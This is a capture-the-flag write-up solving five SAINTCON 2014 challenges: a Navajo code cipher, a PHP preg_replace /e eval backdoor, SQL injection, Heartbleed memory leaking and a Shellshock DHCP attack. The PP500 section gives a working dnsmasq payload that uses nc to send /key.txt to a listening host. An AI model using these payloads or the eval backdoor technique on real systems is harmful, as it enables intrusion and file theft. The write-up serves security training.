You can find the SAINTCON 2014 Hackers Challenge Introduction here.

And this is all the files referenced below: SAINTCON_2014_Hackers_Challenge_PP.zip

The challenges referenced below can be found here:

• PP100
• PP200
• PP300
• PP400
• PP500

PP100 – Talk the Talk, Walk the Walk

Puzzle:

Here is what you get:

GLOE-IH DZEH AH-JAD TLA-GIN A-KHA TSIN-TLITI AH-NAH A-WOH NE-AHS-JAH KLESH WOL-LA-CHEE TKIN A-CHIN THAN-ZIE MOASI TLO-CHIN TSAH D-AH CHA DZEH JAD-HO-LONI AH-NAH TSAH-AS-ZIH TKIN DIBEH CHINDI TOISH-JEH NA-HASH-CHID

Solution:

Google for a word or two from the cypher text: DZEH or CHINDI

Aha! Navajo!

LEARN MORE at http://navajocodetalkers.org/

So drop it in a tool like this: http://cryptii.com/navajo/select

And get WELCOMETOSAINTCONTHEKEYISDBB

But DBB doesn’t work.

So LEARN MORE http://www.history.navy.mil/faqs/faq61-4.htm

D CHINDI DEVIL
B TOISH-JEH BARREL
B NA-HASH-CHID BADGER

Key: devilbarrelbadger

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PP200 – Vuln Web App

Puzzle:

Start Here:
http://54.172.118.66/hc.php

Use the source Luke!

Solution:

Browse to the page and we see

What now?
<!-- Not this source --> eJxdjM0KgkAYRfdB7/A1bQois3a2iEGFlmYStdGm8foD0cg0CkL07I1tgs7qLs65jUaZaTR3ITFjzrGNNvHqgXzigC0Y989ZKGRxicLGT17R6RxfgzRM1m/JUuYOcO7+wzm37e+Kzbfj0ZQOHgV1Tr1qqYLQJG6qNWQqkBQahnIYSFN32A0292gPKpU11FfSym5VEDro3iZPLOkD1DA4tQ==

So how do we get the PHP Source? Google some answers!
http://stackoverflow.com/a/1319647

So we try: http://54.172.118.66/hc.php
and get

<?php

# This source

if (strpos($_SERVER['REQUEST_URI'],'phps')){
        show_source(__FILE__);
}       

$b = base64_decode('cHJlZ19yZXBsYWNlKCIvU3VQM1IwbmVkIS9lIiwiQUNYX0VhY2ZZUEVwQ1R8UFZYUmBEXkVUMn5jIl4iMTExMTFBQTExMTExMTExMTExMTExMTExQUFBIiwiU3VQM1IwbmVkISIpOw0KIyBROiBEaWQgeW91IGhlYXIgYWJvdXQgdGhlIGNhcmV0IGRldGVjdGl2ZT8NCiMgQTogSGUgZ290IHRvIHRoZSByb290IG9mIGV2ZXJ5IGNhc2UuIA==');

$b = base64_encode(gzcompress($b));

print "What now?\n";
print '<!-- Not this source --> ';
print $b;

If you base64 decode the $b string you get:

preg_replace("/SuP3R0ned!/e","ACX_EacfYPEpCT|PVXR`D^ET2~c"^"11111AA11111111111111111AAA","SuP3R0ned!");
# Q: Did you hear about the caret detective?
# A: He got to the root of every case. What now?

The key here is that the ‘e’ on the end of the preg replace turns it into an eval. Which makes it easy to run if desired.

LEARN MORE at http://mrbluecoat.blogspot.com/2012/03/evolution-of-php-backdoor-evasion.html

But if done the hard way the string in the middle is a bitwise XOR operated with the Caret that equates:

print "WhatAreMagicQuotes?";

Key: WhatAreMagicQuotes

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PP300 – SQLBooster

Puzzle:

 Initial Clue:    Search for a member of the Committee "Troy Jessup"

 Included Files:  None

 This challenge begins at:    http://sqlbooster.bruti.us/inject-a-thon
 

Solution:

This was solvable using very simple SQL injection.
Key:

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PP400 –

Puzzle:

https://ssl.l34n.ninja

Hints:

Troy suggests a browser add-on that helps with cookie inspection and modification.

Solution:

This was vulnerable to heartbleed.

Using a tool like:
https://github.com/robertdavidgraham/heartleech

I was able to find this string in about 22MB of dumped memory:
thismightdosomething=nE7zpjDPiVBL2V5mugddhg==
and this one:

Your Key Is: MySessionsAreBleeding

If you passed modified the request to have that variable and value, the returned page would have the Key.

Key: MySessionsAreBleeding

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PP500 – HackMe

Puzzle:

Somewhere in the con is a Ubuntu 14.04 computer that is just dying to connect to the SSID: HackMe, with the WPA Password: saintcon2014.

The key is located on that computer in /key.txt

Good luck

Solution:

So once a PC connects to a network it requests an IP address via DHCP.

Linux DHCP is vulnerable to the shellshock bug.
http://llify.com/2014/10/10/reverse-shell-from-a-the-bash-shell-shock-exploit-with-a-dnsmasq-dhcp-sever/

I exploited it this way using dnsmasq:

dhcp-range=10.13.13.13,10.13.13.130,10m
dhcp-option-force=100,() { :; }; /bin/nc 10.13.13.1 1337 < /key.txt

And just had a running nc -l -p 1337

And I got the key.

Key:

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